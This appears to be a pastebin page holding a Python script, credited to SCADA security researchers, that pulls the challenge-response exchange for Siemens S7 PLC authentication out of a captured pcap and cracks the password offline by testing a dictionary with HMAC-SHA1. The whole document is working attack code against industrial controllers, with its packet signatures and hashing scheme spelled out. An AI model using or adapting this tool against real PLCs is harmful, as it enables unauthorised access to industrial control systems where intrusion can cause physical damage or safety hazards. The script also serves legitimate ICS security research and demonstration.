SHOW:
|
|
- or go back to the newest paste.
1 | """ | |
2 | File: s7-brute-offline.py | |
3 | Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file | |
4 | ||
5 | Alexander Timorin, Dmitry Sklyarov | |
6 | http://scadastrangelove.org | |
7 | ||
8 | Version: 0.1 (just for demo, don't kick my ass plz) | |
9 | """ | |
10 | ||
11 | import sys | |
12 | import hashlib | |
13 | import hmac | |
14 | from binascii import hexlify | |
15 | try: | |
16 | from scapy.all import * | |
17 | except ImportError: | |
18 | print "please install scapy: http://www.secdev.org/projects/scapy/ " | |
19 | sys.exit() | |
20 | ||
21 | ||
22 | cfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap' | |
23 | cfg_dictionary_file = 'dict.txt' | |
24 | ||
25 | def get_challenge_response(): | |
26 | r = rdpcap(cfg_pcap_file) | |
27 | ||
28 | lens = map(lambda x: x.len, r) | |
29 | pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))]) | |
30 | ||
31 | # try to find challenge packet | |
32 | pckt_108 = 0 #challenge packet (from server) | |
33 | for (pckt_indx, pckt_len) in pckt_lens.items(): | |
34 | if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732': | |
35 | pckt_108 = pckt_indx | |
36 | break | |
37 | ||
38 | # try to find response packet | |
39 | pckt_141 = 0 #response packet (from client) | |
40 | _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ]) | |
41 | for pckt_indx in sorted(_t1.keys()): | |
42 | pckt_len = _t1[pckt_indx] | |
43 | if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831': | |
44 | pckt_141 = pckt_indx | |
45 | break | |
46 | ||
47 | # try to find auth result packet | |
48 | pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok | |
49 | pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad | |
50 | for pckt_indx in sorted(_t1.keys()): | |
51 | pckt_len = _t1[pckt_indx] | |
52 | if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32': | |
53 | pckt_84 = pckt_indx | |
54 | break | |
55 | if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732': | |
56 | pckt_92 = pckt_indx | |
57 | break | |
58 | ||
59 | print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92) | |
60 | if pckt_84: | |
61 | print "auth ok" | |
62 | else: | |
63 | print "auth bad. for brute we need right auth result. exit" | |
64 | sys.exit() | |
65 | ||
66 | challenge = None | |
67 | response = None | |
68 | ||
69 | raw_challenge = hexlify(r[pckt_108].load) | |
70 | if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00': | |
71 | challenge = raw_challenge[52:92] | |
72 | print "found challenge: %s" % challenge | |
73 | else: | |
74 | print "cannot find challenge. exit" | |
75 | sys.exit() | |
76 | ||
77 | raw_response = hexlify(r[pckt_141].load) | |
78 | if raw_response[64:70] == '100214' and raw_response[110:112] == '00': | |
79 | response = raw_response[70:110] | |
80 | print "found response: %s" % response | |
81 | else: | |
82 | print "cannot find response. exit" | |
83 | sys.exit() | |
84 | ||
85 | return challenge, response | |
86 | ||
87 | def calculate_s7response(password, challenge): | |
88 | challenge = challenge.decode("hex") | |
89 | return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest() | |
90 | ||
91 | if __name__ == '__main__': | |
92 | print "using pcap file: %s" % cfg_pcap_file | |
93 | challenge, response = get_challenge_response() | |
94 | print "start password bruteforsing ..." | |
95 | for p in open(cfg_dictionary_file): | |
96 | p = p.strip() | |
97 | if response == calculate_s7response(p, challenge): | |
98 | print "found password: %s" % p | |
99 | sys.exit() | |
100 | print "password not found. try another dictionary." |